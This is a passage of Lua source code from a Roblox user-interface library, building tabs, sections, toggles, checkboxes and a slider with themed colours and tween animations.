                        Parent = items[ "button" ];
                        Enabled = false;
                        ApplyStrokeMode = Enum.ApplyStrokeMode.Border
                    });
                -- 

                -- Multi Sections
                    items[ "multi_section_button_holder" ] = library:create( "Frame" , {
                        Parent = library.cache;
                        BackgroundTransparency = 1;
                        Name = "\0";
                        Visible = false;
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(1, 0, 1, 0);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UIListLayout" , {
                        Parent = items[ "multi_section_button_holder" ];
                        Padding = dim(0, 7);
                        SortOrder = Enum.SortOrder.LayoutOrder;
                        FillDirection = Enum.FillDirection.Horizontal
                    });
                    
                    library:create( "UIPadding" , {
                        PaddingTop = dim(0, 8);
                        PaddingBottom = dim(0, 7);
                        Parent = items[ "multi_section_button_holder" ];
                        PaddingRight = dim(0, 7);
                        PaddingLeft = dim(0, 7)
                    });                        

                    for _, section in cfg.tabs do
                        local data = {items = {}} 

                        local multi_items = data.items; do 
                            -- Button
                                multi_items[ "button" ] = library:create( "TextButton" , {
                                    FontFace = fonts.font;
                                    TextColor3 = rgb(255, 255, 255);
                                    BorderColor3 = rgb(0, 0, 0);
                                    AutoButtonColor = false;
                                    Text = "";
                                    Parent = items[ "multi_section_button_holder" ];
                                    Name = "\0";
                                    Size = dim2(0, 0, 0, 39);
                                    BackgroundTransparency = 1;
                                    ClipsDescendants = true;
                                    BorderSizePixel = 0;
                                    AutomaticSize = Enum.AutomaticSize.X;
                                    TextSize = 16;
                                    BackgroundColor3 = rgb(25, 25, 29)
                                });
                                
                                multi_items[ "name" ] = library:create( "TextLabel" , {
                                    FontFace = fonts.font;
                                    TextColor3 = rgb(62, 62, 63);
                                    BorderColor3 = rgb(0, 0, 0);
                                    Text = section;
                                    Parent = multi_items[ "button" ];
                                    Name = "\0";
                                    Size = dim2(0, 0, 1, 0);
                                    BackgroundTransparency = 1;
                                    TextXAlignment = Enum.TextXAlignment.Left;
                                    BorderSizePixel = 0;
                                    AutomaticSize = Enum.AutomaticSize.XY;
                                    TextSize = 16;
                                    BackgroundColor3 = rgb(255, 255, 255)
                                });
                                
                                library:create( "UIPadding" , {
                                    Parent = multi_items[ "name" ];
                                    PaddingRight = dim(0, 5);
                                    PaddingLeft = dim(0, 5)
                                });
                                
                                multi_items[ "accent" ] = library:create( "Frame" , {
                                    BorderColor3 = rgb(0, 0, 0);
                                    AnchorPoint = vec2(0, 1);
                                    Parent = multi_items[ "button" ];
                                    BackgroundTransparency = 1;
                                    Position = dim2(0, 10, 1, 4);
                                    Name = "\0";
                                    Size = dim2(1, -20, 0, 6);
                                    BorderSizePixel = 0;
                                    BackgroundColor3 = themes.preset.accent
                                }); library:apply_theme(multi_items[ "accent" ], "accent", "BackgroundColor3");
                                
                                library:create( "UICorner" , {
                                    Parent = multi_items[ "accent" ];
                                    CornerRadius = dim(0, 999)
                                });
                                
                                library:create( "UIPadding" , {
                                    Parent = multi_items[ "button" ];
                                    PaddingRight = dim(0, 10);
                                    PaddingLeft = dim(0, 10)
                                });
                                
                                library:create( "UICorner" , {
                                    Parent = multi_items[ "button" ];
                                    CornerRadius = dim(0, 7)
                                }); 
                            --

                            -- Tab 
                                multi_items[ "tab" ] = library:create( "Frame" , {
                                    Parent = library.cache;
                                    BackgroundTransparency = 1;
                                    Name = "\0";
                                    BorderColor3 = rgb(0, 0, 0);
                                    Size = dim2(1, -20, 1, -20);
                                    BorderSizePixel = 0;
                                    Visible = false;
                                    BackgroundColor3 = rgb(255, 255, 255)
                                });
                                
                                library:create( "UIListLayout" , {
                                    FillDirection = Enum.FillDirection.Vertical;
                                    HorizontalFlex = Enum.UIFlexAlignment.Fill;
                                    Parent = multi_items[ "tab" ];
                                    Padding = dim(0, 7);
                                    SortOrder = Enum.SortOrder.LayoutOrder;
                                    VerticalFlex = Enum.UIFlexAlignment.Fill
                                });
                                
                                library:create( "UIPadding" , {
                                    PaddingTop = dim(0, 7);
                                    PaddingBottom = dim(0, 7);
                                    Parent = multi_items[ "tab" ];
                                    PaddingRight = dim(0, 7);
                                    PaddingLeft = dim(0, 7)
                                });
                            --
                        end
                        
                        data.text = multi_items[ "name" ]
                        data.accent = multi_items[ "accent" ]
                        data.button = multi_items[ "button" ]
                        data.page = multi_items[ "tab" ]
                        data.parent = setmetatable(data, library):sub_tab({}).items[ "tab_parent" ]
                        
                        -- Old column code
                        -- data.left = multi_items[ "left" ]
                        -- data.right = multi_items[ "right" ]

						function data.open_page()
							local page = cfg.current_multi; 
                            
                            if page and page.text ~= data.text then 
                                self.items[ "global_fade" ].BackgroundTransparency = 0
                                library:tween(self.items[ "global_fade" ], {BackgroundTransparency = 1}, Enum.EasingStyle.Quad, 0.4)
                                
                                local old_size = page.page.Size
                                page.page.Size = dim2(1, -20, 1, -20)
                            end

                            if page then
                                library:tween(page.text, {TextColor3 = rgb(62, 62, 63)})
                                library:tween(page.accent, {BackgroundTransparency = 1})
                                library:tween(page.button, {BackgroundTransparency = 1})

                                page.page.Visible = false
                                page.page.Parent = library[ "cache" ] 
                            end 
                            
                            library:tween(data.text, {TextColor3 = rgb(255, 255, 255)})
                            library:tween(data.accent, {BackgroundTransparency = 0})
                            library:tween(data.button, {BackgroundTransparency = 0})
                            library:tween(data.page, {Size = dim2(1, 0, 1, 0)}, Enum.EasingStyle.Quad, 0.4)

                            data.page.Visible = true
                            data.page.Parent = items["tab_holder"]

                            cfg.current_multi = data

                            library:close_element()
						end

						multi_items[ "button" ].InputBegan:Connect(function(Input)
                            if Input.UserInputType ~= Enum.UserInputType.Touch then return end
							data.open_page() 
						end)

						cfg.pages[#cfg.pages + 1] = setmetatable(data, library)
                    end 

                    cfg.pages[1].open_page()
                --
            end 

            function cfg.open_tab() 
                local selected_tab = self.selected_tab
                
                if selected_tab then 
                    if selected_tab[ 4 ] ~= items[ "tab_holder" ] then 
                        self.items[ "global_fade" ].BackgroundTransparency = 0
                        
                        library:tween(self.items[ "global_fade" ], {BackgroundTransparency = 1}, Enum.EasingStyle.Quad, 0.4)
                        selected_tab[ 4 ].Size = dim2(1, -216, 1, -101)
                    end

                    library:tween(selected_tab[ 1 ], {BackgroundTransparency = 1})
                    library:tween(selected_tab[ 2 ], {ImageColor3 = rgb(72, 72, 73)})
                    library:tween(selected_tab[ 3 ], {TextColor3 = rgb(72, 72, 73)})

                    selected_tab[ 4 ].Visible = false
                    selected_tab[ 4 ].Parent = library[ "cache" ]
                    selected_tab[ 5 ].Visible = false
                    selected_tab[ 5 ].Parent = library[ "cache" ]
                end

                library:tween(items[ "button" ], {BackgroundTransparency = 0})
                library:tween(items[ "icon" ], {ImageColor3 = themes.preset.accent})
                library:tween(items[ "name" ], {TextColor3 = rgb(255, 255, 255)})
                library:tween(items[ "tab_holder" ], {Size = dim2(1, -196, 1, -81)}, Enum.EasingStyle.Quad, 0.4)
                
                items[ "tab_holder" ].Visible = true 
                items[ "tab_holder" ].Parent = self.items[ "main" ]
                items[ "multi_section_button_holder" ].Visible = true 
                items[ "multi_section_button_holder" ].Parent = self.items[ "multi_holder" ]

                self.selected_tab = {
                    items[ "button" ];
                    items[ "icon" ];
                    items[ "name" ];
                    items[ "tab_holder" ];
                    items[ "multi_section_button_holder" ];
                }

                library:close_element()
            end

            items[ "button" ].InputBegan:Connect(function(Input)
                            if Input.UserInputType ~= Enum.UserInputType.Touch then return end
                cfg.open_tab()
            end)
            
            if not self.selected_tab then 
                cfg.open_tab(true) 
            end

            return unpack(cfg.pages)
        end

        function library:seperator(properties)
            local cfg = {items = {}, name = properties.Name or properties.name or "General"}

            local items = cfg.items do 
                items[ "name" ] = library:create( "TextLabel" , {
                    FontFace = fonts.font;
                    TextColor3 = rgb(72, 72, 73);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = cfg.name;
                    Parent = self.items[ "button_holder" ];
                    Name = "\0";
                    Size = dim2(1, 0, 0, 0);
                    Position = dim2(0, 40, 0, 0);
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Left;
                    BorderSizePixel = 0; 
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 16;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIPadding" , {
                    Parent = items[ "name" ];
                    PaddingRight = dim(0, 5);
                    PaddingLeft = dim(0, 5)
                });                
            end;    

            return setmetatable(cfg, library)
        end 

        -- Miscellaneous 
            function library:column(properties) 
                local cfg = {items = {}, size = properties.size or 1}

                local items = cfg.items; do     
                    items[ "column" ] = library:create( "Frame" , {
                        Parent = self[ "parent" ] or self.items["tab_parent"];
                        BackgroundTransparency = 1;
                        Name = "\0";
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(0, 0, cfg.size, 0);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UIPadding" , {
                        PaddingBottom = dim(0, 10);
                        Parent = items[ "column" ]
                    });
                    
                    library:create( "UIListLayout" , {
                        Parent = items[ "column" ];
                        HorizontalFlex = Enum.UIFlexAlignment.Fill;
                        Padding = dim(0, 10);
                        FillDirection = Enum.FillDirection.Vertical;
                        SortOrder = Enum.SortOrder.LayoutOrder
                    });
                end 

                return setmetatable(cfg, library)
            end 

            function library:sub_tab(properties) 
                local cfg = {items = {}, order = properties.order or 0; size = properties.size or 1}

                local items = cfg.items; do 
                    items[ "tab_parent" ] = library:create( "Frame" , {
                        Parent = self.items[ "tab" ];
                        BackgroundTransparency = 1;
                        Name = "\0";
                        Size = dim2(0,0,cfg.size,0);
                        BorderColor3 = rgb(0, 0, 0);
                        BorderSizePixel = 0;
                        Visible = true;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UIListLayout" , {
                        FillDirection = Enum.FillDirection.Horizontal;
                        HorizontalFlex = Enum.UIFlexAlignment.Fill;
                        VerticalFlex = Enum.UIFlexAlignment.Fill;
                        Parent = items[ "tab_parent" ];
                        Padding = dim(0, 7);
                        SortOrder = Enum.SortOrder.LayoutOrder;
                    });
                end

                return setmetatable(cfg, library)
            end 
        --

        function library:section(properties)
            local cfg = {
                name = properties.name or properties.Name or "section"; 
                side = properties.side or properties.Side or "left";
                default = properties.default or properties.Default or false;
                size = properties.size or properties.Size or self.size or 0.5; 
                icon = properties.icon or properties.Icon or "http://www.roblox.com/asset/?id=6022668898";
                fading_toggle = properties.fading or properties.Fading or false;
                items = {};
            };
            
            local items = cfg.items; do 
                items[ "outline" ] = library:create( "Frame" , {
                    Name = "\0";
                    Parent = self.items[ "column" ];
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0, 0, cfg.size, -3);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(25, 25, 29)
                });

                library:create( "UICorner" , {
                    Parent = items[ "outline" ];
                    CornerRadius = dim(0, 7)
                });
                
                items[ "inline" ] = library:create( "Frame" , {
                    Parent = items[ "outline" ];
                    Name = "\0";
                    Position = dim2(0, 1, 0, 1);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, -2, 1, -2);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(22, 22, 24)
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "inline" ];
                    CornerRadius = dim(0, 7)
                });
                
                items[ "scrolling" ] = library:create( "ScrollingFrame" , {
                    ScrollBarImageColor3 = rgb(44, 44, 46);
                    Active = true;
                    AutomaticCanvasSize = Enum.AutomaticSize.Y;
                    ScrollBarThickness = 2;
                    Parent = items[ "inline" ];
                    Name = "\0";
                    Size = dim2(1, 0, 1, -40);
                    BackgroundTransparency = 1;
                    Position = dim2(0, 0, 0, 35);
                    BackgroundColor3 = rgb(255, 255, 255);
                    BorderColor3 = rgb(0, 0, 0);
                    BorderSizePixel = 0;
                    CanvasSize = dim2(0, 0, 0, 0)
                });
                
                items[ "elements" ] = library:create( "Frame" , {
                    BorderColor3 = rgb(0, 0, 0);
                    Parent = items[ "scrolling" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Position = dim2(0, 10, 0, 10);
                    Size = dim2(1, -20, 0, 0);
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.Y;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIListLayout" , {
                    Parent = items[ "elements" ];
                    Padding = dim(0, 10);
                    SortOrder = Enum.SortOrder.LayoutOrder
                });
                
                library:create( "UIPadding" , {
                    PaddingBottom = dim(0, 15);
                    Parent = items[ "elements" ]
                });
                
                items[ "button" ] = library:create( "TextButton" , {
                    FontFace = fonts.font;
                    TextColor3 = rgb(255, 255, 255);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = "";
                    AutoButtonColor = false;
                    Parent = items[ "outline" ];
                    Name = "\0";
                    Position = dim2(0, 1, 0, 1);
                    Size = dim2(1, -2, 0, 35);
                    BorderSizePixel = 0;
                    TextSize = 16;
                    BackgroundColor3 = rgb(19, 19, 21)
                });
                
                library:create( "UIStroke" , {
                    Color = rgb(23, 23, 29);
                    Parent = items[ "button" ];
                    Enabled = false;
                    ApplyStrokeMode = Enum.ApplyStrokeMode.Border
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "button" ];
                    CornerRadius = dim(0, 7)
                });
                
                items[ "Icon" ] = library:create( "ImageLabel" , {
                    ImageColor3 = themes.preset.accent;
                    BorderColor3 = rgb(0, 0, 0);
                    Parent = items[ "button" ];
                    AnchorPoint = vec2(0, 0.5);
                    Image = cfg.icon;
                    BackgroundTransparency = 1;
                    Position = dim2(0, 10, 0.5, 0);
                    Name = "\0";
                    Size = dim2(0, 22, 0, 22);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(255, 255, 255)
                }); library:apply_theme(items[ "Icon" ], "accent", "ImageColor3");
                
                items[ "section_title" ] = library:create( "TextLabel" , {
                    FontFace = fonts.font;
                    TextColor3 = rgb(255, 255, 255);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = cfg.name;
                    Parent = items[ "button" ];
                    Name = "\0";
                    Size = dim2(0, 0, 1, 0);
                    Position = dim2(0, 40, 0, -1);
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Left;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.X;
                    TextSize = 16;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "Frame" , {
                    AnchorPoint = vec2(0, 1);
                    Parent = items[ "button" ];
                    Position = dim2(0, 0, 1, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 0, 0, 1);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(36, 36, 37)
                });
                
                if cfg.fading_toggle then 
                    items[ "toggle" ] = library:create( "TextButton" , {
                        FontFace = fonts.small;
                        TextColor3 = rgb(0, 0, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        AutoButtonColor = false;
                        Text = "";
                        AnchorPoint = vec2(1, 0.5);
                        Parent = items[ "button" ];
                        Name = "\0";
                        Position = dim2(1, -9, 0.5, 0);
                        Size = dim2(0, 36, 0, 18);
                        BorderSizePixel = 0;
                        TextSize = 14;
                        BackgroundColor3 = rgb(58, 58, 62)
                    });  library:apply_theme(items[ "toggle" ], "accent", "BackgroundColor3");
                    
                    library:create( "UICorner" , {
                        Parent = items[ "toggle" ];
                        CornerRadius = dim(0, 999)
                    });
                    
                    items[ "toggle_outline" ] = library:create( "Frame" , {
                        Parent = items[ "toggle" ];
                        Size = dim2(1, -2, 1, -2);
                        Name = "\0";
                        BorderMode = Enum.BorderMode.Inset;
                        BorderColor3 = rgb(0, 0, 0);
                        Position = dim2(0, 1, 0, 1);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(50, 50, 50)
                    });  library:apply_theme(items[ "toggle_outline" ], "accent", "BackgroundColor3");
                    
                    library:create( "UICorner" , {
                        Parent = items[ "toggle_outline" ];
                        CornerRadius = dim(0, 999)
                    });
                    
                    library:create( "UIGradient" , {
                        Color = rgbseq{rgbkey(0, rgb(211, 211, 211)), rgbkey(1, rgb(211, 211, 211))};
                        Parent = items[ "toggle_outline" ]
                    });
                    
                    items[ "toggle_circle" ] = library:create( "Frame" , {
                        Parent = items[ "toggle_outline" ];
                        Name = "\0";
                        Position = dim2(0, 2, 0, 2);
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(0, 12, 0, 12);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(86, 86, 88)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "toggle_circle" ];
                        CornerRadius = dim(0, 999)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "outline" ];
                        CornerRadius = dim(0, 7)
                    });
                
                    items[ "fade" ] = library:create( "Frame" , {
                        Parent = items[ "outline" ];
                        BackgroundTransparency = 0.800000011920929;
                        Name = "\0";
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(1, 0, 1, 0);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(0, 0, 0)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "fade" ];
                        CornerRadius = dim(0, 7)
                    });
                end 
            end;

            if cfg.fading_toggle then
                items[ "button" ].InputBegan:Connect(function(input)
                    if input.UserInputType == Enum.UserInputType.Touch or input.UserInputType == Enum.UserInputType.Touch then
                        cfg.default = not cfg.default 
                        cfg.toggle_section(cfg.default) 
                    end 
                end)

                function cfg.toggle_section(bool)
                    library:tween(items[ "toggle" ], {BackgroundColor3 = bool and themes.preset.accent or rgb(58, 58, 62)}, Enum.EasingStyle.Quad)
                    library:tween(items[ "toggle_outline" ], {BackgroundColor3 = bool and themes.preset.accent or rgb(50, 50, 50)}, Enum.EasingStyle.Quad)
                    library:tween(items[ "toggle_circle" ], {BackgroundColor3 = bool and rgb(255, 255, 255) or rgb(86, 86, 88), Position = bool and dim2(1, -14, 0, 2) or dim2(0, 2, 0, 2)}, Enum.EasingStyle.Quad)
                    library:tween(items[ "fade" ], {BackgroundTransparency = bool and 1 or 0.8}, Enum.EasingStyle.Quad)
                end 
            end 

            return setmetatable(cfg, library)
        end  

        function library:toggle(options) 
            local rand = math.random(1, 2) 
            local cfg = {
                enabled = options.default or false,
                name = options.name or "Toggle",
                info = options.info or nil,
                flag = options.flag or library:next_flag(),
                
                type = options.type and string.lower(options.type) or rand == 1 and "toggle" or "checkbox"; -- "toggle", "checkbox"

                default = options.default or false,
                folding = options.folding or false, 
                callback = options.callback or function() end,

                items = {};
                seperator = options.seperator or options.Seperator or false;
            }

            flags[cfg.flag] = cfg.default

            local items = cfg.items; do
                items[ "toggle" ] = library:create( "TextButton" , {
                    FontFace = fonts.small;
                    TextColor3 = rgb(0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = "";
                    Parent = self.items[ "elements" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Size = dim2(1, 0, 0, 0);
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.Y;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                items[ "name" ] = library:create( "TextLabel" , {
                    FontFace = fonts.small;
                    TextColor3 = rgb(245, 245, 245);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = cfg.name;
                    Parent = items[ "toggle" ];
                    Name = "\0";
                    Size = dim2(1, 0, 0, 0);
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Left;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 16;
                    BackgroundColor3 = rgb(255, 255, 255)
                });

                if cfg.info then 
                    items[ "info" ] = library:create( "TextLabel" , {
                        FontFace = fonts.small;
                        TextColor3 = rgb(130, 130, 130);
                        BorderColor3 = rgb(0, 0, 0);
                        TextWrapped = true;
                        Text = cfg.info;
                        Parent = items[ "toggle" ];
                        Name = "\0";
                        Position = dim2(0, 5, 0, 17);
                        Size = dim2(1, -10, 0, 0);
                        BackgroundTransparency = 1;
                        TextXAlignment = Enum.TextXAlignment.Left;
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.XY;
                        TextSize = 16;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                end 
                
                library:create( "UIPadding" , {
                    Parent = items[ "name" ];
                    PaddingRight = dim(0, 5);
                    PaddingLeft = dim(0, 5)
                });
                
                items[ "right_components" ] = library:create( "Frame" , {
                    Parent = items[ "toggle" ];
                    Name = "\0";
                    Position = dim2(1, 0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0, 0, 1, 0);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIListLayout" , {
                    FillDirection = Enum.FillDirection.Horizontal;
                    HorizontalAlignment = Enum.HorizontalAlignment.Right;
                    Parent = items[ "right_components" ];
                    Padding = dim(0, 9);
                    SortOrder = Enum.SortOrder.LayoutOrder
                });
                
                -- Toggle
                    if cfg.type == "checkbox" then 
                        items[ "toggle_button" ] = library:create( "TextButton" , {
                            FontFace = fonts.small;
                            TextColor3 = rgb(0, 0, 0);
                            BorderColor3 = rgb(0, 0, 0);
                            Text = "";
                            LayoutOrder = 2;
                            AutoButtonColor = false;
                            AnchorPoint = vec2(1, 0);
                            Parent = items[ "right_components" ];
                            Name = "\0";
                            Position = dim2(1, 0, 0, 0);
                            Size = dim2(0, 16, 0, 16);
                            BorderSizePixel = 0;
                            TextSize = 14;
                            BackgroundColor3 = rgb(67, 67, 68)
                        }); library:apply_theme(items[ "toggle_button" ], "accent", "BackgroundColor3");
                        
                        library:create( "UICorner" , {
                            Parent = items[ "toggle_button" ];
                            CornerRadius = dim(0, 4)
                        });
                        
                        items[ "outline" ] = library:create( "Frame" , {
                            Parent = items[ "toggle_button" ];
                            Size = dim2(1, -2, 1, -2);
                            Name = "\0";
                            BorderMode = Enum.BorderMode.Inset;
                            BorderColor3 = rgb(0, 0, 0);
                            Position = dim2(0, 1, 0, 1);
                            BorderSizePixel = 0;
                            BackgroundColor3 = rgb(22, 22, 24)
                        }); library:apply_theme(items[ "outline" ], "accent", "BackgroundColor3");
                        
                        items[ "tick" ] = library:create( "ImageLabel" , {
                            ImageTransparency = 1;
                            BorderColor3 = rgb(0, 0, 0);
                            Image = "rbxassetid://111862698467575";
                            BackgroundTransparency = 1;
                            Position = dim2(0, -1, 0, 0);
                            Parent = items[ "outline" ];
                            Size = dim2(1, 2, 1, 2);
                            BorderSizePixel = 0;
                            BackgroundColor3 = rgb(255, 255, 255);
                            ZIndex = 1;
                        });

                        library:create( "UICorner" , {
                            Parent = items[ "outline" ];
                            CornerRadius = dim(0, 4)
                        });
                        
                        library:create( "UIGradient" , {
                            Enabled = false;
                            Parent = items[ "outline" ];
                            Color = rgbseq{rgbkey(0, rgb(211, 211, 211)), rgbkey(1, rgb(211, 211, 211))}
                        });  
                    else 
                        items[ "toggle_button" ] = library:create( "TextButton" , {
                            FontFace = fonts.font;
                            TextColor3 = rgb(0, 0, 0);
                            BorderColor3 = rgb(0, 0, 0);
                            Text = "";
                            LayoutOrder = 2;
                            AnchorPoint = vec2(1, 0.5);
                            Parent = items[ "right_components" ];
                            Name = "\0";
                            Position = dim2(1, -9, 0.5, 0);
                            Size = dim2(0, 36, 0, 18);
                            BorderSizePixel = 0;
                            TextSize = 14;
                            BackgroundColor3 = themes.preset.accent
                        }); library:apply_theme(items[ "toggle_button" ], "accent", "BackgroundColor3");
                        
                        library:create( "UICorner" , {
                            Parent = items[ "toggle_button" ];
                            CornerRadius = dim(0, 999)
                        });
                        
                        items[ "inline" ] = library:create( "Frame" , {
                            Parent = items[ "toggle_button" ];
                            Size = dim2(1, -2, 1, -2);
                            Name = "\0";
                            BorderMode = Enum.BorderMode.Inset;
                            BorderColor3 = rgb(0, 0, 0);
                            Position = dim2(0, 1, 0, 1);
                            BorderSizePixel = 0;
                            BackgroundColor3 = themes.preset.accent
                        }); library:apply_theme(items[ "inline" ], "accent", "BackgroundColor3");
                        
                        library:create( "UICorner" , {
                            Parent = items[ "inline" ];
                            CornerRadius = dim(0, 999)
                        });
                        
                        library:create( "UIGradient" , {
                            Color = rgbseq{rgbkey(0, rgb(211, 211, 211)), rgbkey(1, rgb(211, 211, 211))};
                            Parent = items[ "inline" ]
                        });
                        
                        items[ "circle" ] = library:create( "Frame" , {
                            Parent = items[ "inline" ];
                            Name = "\0";
                            Position = dim2(1, -14, 0, 2);
                            BorderColor3 = rgb(0, 0, 0);
                            Size = dim2(0, 12, 0, 12);
                            BorderSizePixel = 0;
                            BackgroundColor3 = rgb(255, 255, 255)
                        });
                        
                        library:create( "UICorner" , {
                            Parent = items[ "circle" ];
                            CornerRadius = dim(0, 999)
                        });                        
                    end 
                --                
            end;
            
            function cfg.set(bool)
                if cfg.type == "checkbox" then 
                    library:tween(items[ "tick" ], {Rotation = bool and 0 or 45, ImageTransparency = bool and 0 or 1})
                    library:tween(items[ "toggle_button" ], {BackgroundColor3 = bool and themes.preset.accent or rgb(67, 67, 68)})
                    library:tween(items[ "outline" ], {BackgroundColor3 = bool and themes.preset.accent or rgb(22, 22, 24)})
                else
                    library:tween(items[ "toggle_button" ], {BackgroundColor3 = bool and themes.preset.accent or rgb(58, 58, 62)}, Enum.EasingStyle.Quad)
                    library:tween(items[ "inline" ], {BackgroundColor3 = bool and themes.preset.accent or rgb(50, 50, 50)}, Enum.EasingStyle.Quad)
                    library:tween(items[ "circle" ], {BackgroundColor3 = bool and rgb(255, 255, 255) or rgb(86, 86, 88), Position = bool and dim2(1, -14, 0, 2) or dim2(0, 2, 0, 2)}, Enum.EasingStyle.Quad)
                end

                cfg.enabled = bool
                cfg.callback(bool)

                if cfg.folding then 
                    elements.Visible = bool
                end

                flags[cfg.flag] = bool
            end 
            
            items[ "toggle" ].InputBegan:Connect(function(Input)
                if Input.UserInputType ~= Enum.UserInputType.Touch then return end
                cfg.enabled = not cfg.enabled 
                cfg.set(cfg.enabled)
            end)

            items[ "toggle_button" ].InputBegan:Connect(function(Input)
                if Input.UserInputType ~= Enum.UserInputType.Touch then return end
                cfg.enabled = not cfg.enabled 
                cfg.set(cfg.enabled)
            end)
            
            if cfg.seperator then -- ok bro my lua either sucks or this was a pain in the ass to make (simple if statement aswell 💔)
                library:create( "Frame" , {
                    AnchorPoint = vec2(0, 1);
                    Parent = self.items[ "elements" ];
                    Position = dim2(0, 0, 1, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 1, 0, 1);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(36, 36, 37)
                });
            end

            cfg.set(cfg.default)

            config_flags[cfg.flag] = cfg.set

            return setmetatable(cfg, library)
        end 
        
        function library:slider(options) 
            local cfg = {
                name = options.name or nil,
                suffix = options.suffix or "",
                flag = options.flag or library:next_flag(),
                callback = options.callback or function() end, 
                info = options.info or nil; 

                -- value settings
                min = options.min or options.minimum or 0,
                max = options.max or options.maximum or 100,
                intervals = options.interval or options.decimal or 1,
                default = options.default or 10,
                value = options.default or 10, 
                seperator = options.seperator or options.Seperator or false;

                dragging = false,
                items = {}
            } 

            flags[cfg.flag] = cfg.default

            local items = cfg.items; do
                items[ "slider_object" ] = library:create( "TextButton" , {
                    FontFace = fonts.small;
                    TextColor3 = rgb(0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = "";
                    Parent = self.items[ "elements" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Size = dim2(1, 0, 0, 0);
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.Y;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                items[ "name" ] = library:create( "TextLabel" , {
                    FontFace = fonts.small;
                    TextColor3 = rgb(245, 245, 245);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = cfg.name;
                    Parent = items[ "slider_object" ];
                    Name = "\0";
                    Size = dim2(1, 0, 0, 0);
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Left;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 16;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                if cfg.info then 
                    items[ "info" ] = library:create( "TextLabel" , {
                        FontFace = fonts.small;
                        TextColor3 = rgb(130, 130, 130);
                        BorderColor3 = rgb(0, 0, 0);
                        TextWrapped = true;
                        Text = cfg.info;
                        Parent = items[ "slider_object" ];
                        Name = "\0";
                        Position = dim2(0, 5, 0, 37);
                        Size = dim2(1, -10, 0, 0);
                        BackgroundTransparency = 1;
                        TextXAlignment = Enum.TextXAlignment.Left;
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.XY;
                        TextSize = 16;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                end 

                library:create( "UIPadding" , {
                    Parent = items[ "name" ];
                    PaddingRight = dim(0, 5);
                    PaddingLeft = dim(0, 5)
                });
                
                items[ "right_components" ] = library:create( "Frame" , {
                    Parent = items[ "slider_object" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Position = dim2(0, 4, 0, 23);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 0, 0, 12);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIListLayout" , {
                    Parent = items[ "right_components" ];
                    Padding = dim(0, 7);
                    SortOrder = Enum.SortOrder.LayoutOrder;
                    FillDirection = Enum.FillDirection.Horizontal
                });
                
                items[ "slider" ] = library:create( "TextButton" , {
                    FontFace = fonts.small;
                    TextColor3 = rgb(0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
